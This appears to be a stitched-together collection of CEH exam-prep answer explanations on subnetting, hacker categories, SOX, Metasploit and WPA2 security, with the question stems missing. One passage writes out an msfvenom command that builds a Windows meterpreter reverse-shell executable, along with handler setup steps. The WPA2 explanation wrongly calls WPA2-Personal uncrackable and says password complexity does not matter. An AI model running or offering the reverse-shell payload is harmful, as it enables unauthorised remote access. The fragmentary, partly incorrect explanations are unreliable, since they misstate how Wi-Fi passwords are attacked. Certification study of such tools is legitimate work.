https://en.wikipedia.org/wiki/Subnetwork
As we can see, we have an IP address of 10.1.4.0 with a subnet mask of /23. According to the question, we need to determine which IP address will be included in the range of the last 100 IP addresses.
The available addresses for hosts start with 10.1.4.1 and end with 10.1.5.254. Now you can clearly see that the last 100 addresses include the address 10.1.5.200.

CEH courseware categorizes hackers based on intent, authorization, and affiliation. State-sponsored hackers are defined as individuals or teams who conduct cyber operations on behalf of a government to advance national interests. These operations often include espionage, cyber warfare, intelligence gathering, and covert offensive actions. Unlike organized hackers or cybercriminal groups, whose motivations may include financial gain or ideological activism, state-sponsored units follow strategic directives issued by government agencies. CEH materials explain that such groups operate with access to advanced tools, long-term funding, and classified intelligence, enabling them to execute highly sophisticated and covert operations targeting foreign governments, corporations, or critical infrastructure. Hacktivists pursue political or social causes, while gray-hat hackers operate without explicit permission but without malicious intent. Only state-sponsored hackers match the scenario where cyber experts are formally trained, resourced, and authorized by a national government to conduct operations that remain undetected. Therefore, the correct classification is state- sponsored hackers.

SOX stands for Sarbanes-Oxley Act of 2002. It is a U.S. federal law enacted to protect shareholders and the general public from accounting errors and corporate fraud.
Key points:
Requires strict internal controls and financial disclosures in publicly traded companies.
Mandates regular audits and IT security controls related to financial data.
Applies especially to accounting systems, databases, access controls, and IT procedures related to financial reporting.
Incorrect Options:
A). PCI-DSS relates to securing credit card data.
B). FISMA pertains to federal agency cybersecurity standards.
D). ISO/IEC 27001:2013 is an international information security standard, not a legal requirement for financial integrity.
Reference - CEH v13 Official Courseware:
Module 01: Introduction to Ethical Hacking
Section: "Compliance and Legal Concepts"
Table: "Major Laws and Regulations in Information Security"

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler.
Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc).
Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

The network is using an uncrackable encryption method, which makes it difficult to crack the Wi-Fi password. WPA2 Personal with AES encryption is the strongest form of security offered by Wi-Fi devices at the moment, and it should be used for all purposes. AES stands for Advanced Encryption Standard, and it is a symmetric-key algorithm that uses a 128-bit, 192-bit, or 256-bit key to encrypt and decrypt data. AES is considered to be uncrackable by brute force attacks, as it would take an impractical amount of time and computational power to try all possible key combinations12. Therefore, unless you have access to the Wi-Fi password or the encryption key, you will not be able to decrypt the network traffic and crack the password.
The other options are not correct for the following reasons:
* A. The Wi-Fi password is too complex and long: This option is not relevant because the Wi-Fi password is not directly used to encrypt the network traffic. Instead, the password is used to generate a Pre-Shared Key (PSK), which is then used to derive a Pairwise Master Key (PMK), which is then used to derive a Pairwise Transient Key (PTK), which is then used to encrypt the data. Therefore, the complexity and length of the password do not affect the encryption strength, as long as the password is not easily guessed or leaked34.
* B. Your hacking tool is outdated: This option is not plausible because even if your hacking tool is outdated, it would not affect your ability to capture the network traffic and attempt to crack the password. The hacking tool may not support the latest Wi-Fi standards or protocols, but it should still be able to capture the raw data packets and save them in a file. The cracking process would depend on the encryption algorithm and the key, not on the hacking tool.
* D. The network is using MAC address filtering: This option is not feasible because MAC address filtering is a technique that restricts network access and communication to trusted devices based on their MAC addresses, which are unique identifiers assigned to network interfaces. MAC address filtering can prevent unauthorized devices from joining the network, but it cannot prevent authorized devices from capturing the network traffic. Moreover, MAC address filtering can be easily bypassed by spoofing the MAC address of an allowed device56.
References:
* 1: What is AES Encryption and How Does it Work? | Kaspersky
* 2: AES Encryption: Everything You Need to Know | Comparitech
* 3: How Does WPA2 Work? | Techwalla
* 4: How Does WPA2 Encryption Work? | Security Boulevard
* 5: What is MAC Address Filtering? | Definition, Types & Examples - Fortinet
* 6: How to Bypass MAC Address Filtering on Wireless Networks - Null Byte :: WonderHowTo